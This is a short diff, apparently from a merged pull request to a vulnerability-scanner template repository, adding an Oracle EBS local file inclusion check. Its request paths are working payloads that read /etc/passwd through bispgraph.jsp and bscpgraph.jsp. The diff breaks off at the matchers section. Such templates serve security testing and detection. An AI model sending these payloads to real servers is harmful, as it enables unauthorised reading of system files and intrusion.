Merge pull request #544 from darkc0d37/darkc0d3-branch

Add Oracle-EBS LFI

vulnerabilities/oracle-ebs-bispgraph-file-access.yaml

@@ -2,14 +2,14 @@ id: oracle-ebs-bispgrapgh-file-read
 
 info:
   name: Oracle EBS Bispgraph File Access
-  author: "Alfie Njeru (@emenalf) - https://the-infosec.com"
+  author: "@emenalf & @tirtha_mandal"
   severity: critical
-  description: todo
 
 requests:
   - method: GET
     path:
       - "{{BaseURL}}/OA_HTML/bispgraph.jsp%0D%0A.js?ifn=passwd&ifl=/etc/"
+      - "{{BaseURL}}/OA_HTML/jsp/bsc/bscpgraph.jsp?ifl=/etc/&ifn=passwd"
 
     matchers:
       - type: regex